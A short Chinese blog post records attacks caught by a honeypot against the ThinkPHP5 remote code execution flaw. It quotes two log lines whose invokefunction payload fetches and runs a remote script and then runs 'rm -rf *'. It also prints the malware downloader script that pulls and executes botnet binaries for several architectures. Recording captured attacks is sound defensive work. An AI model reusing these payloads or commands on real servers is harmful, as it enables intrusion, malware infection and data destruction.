php rce,批量thinkphp5的RCE漏洞利用

最新推荐文章于 2025-02-10 20:25:15 发布

曹名

最新推荐文章于 2025-02-10 20:25:15 发布

阅读量334

点赞数

文章标签： php rce

本文记录了一次通过蜜罐系统捕获的远程代码执行(RCE)攻击案例。攻击者尝试利用ThinkPHP框架的漏洞，通过GET请求注入恶意代码以下载并执行恶意脚本。文中详细展示了攻击者的请求过程及所使用的命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

蜜罐捕获攻击

212.237.14.55 - - [22/Dec/2018:13:17:50 +0800] "GET /public/index.php?s=/index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://142.93.197.215/sh;%20chmod%20777%20sh;%20./sh;%20rm%20-rf%20* HTTP/1.1" 404 162 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.23.1.el6.x86_64"

212.237.14.55 - - [22/Dec/2018:17:59:48 +0800] "GET /public/index.php?s=/index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://142.93.197.215/php;chmod%20777%20php;./php;rm%20-rf%20* HTTP/1.1" 404 162 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.23.1.el6.x86_64"

利用RCE获取远程服务器文件：

http://142.93.197.215/php

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"

server_ip="142.93.197.215"

binname="Loliv3"

execname="LoliSecHoe"

for arch in $binarys

cd /tmp

wget http://$server_ip/$binname.$arch -O $execname

chmod 777 $execname

./$execname Think.php

rm -rf $execname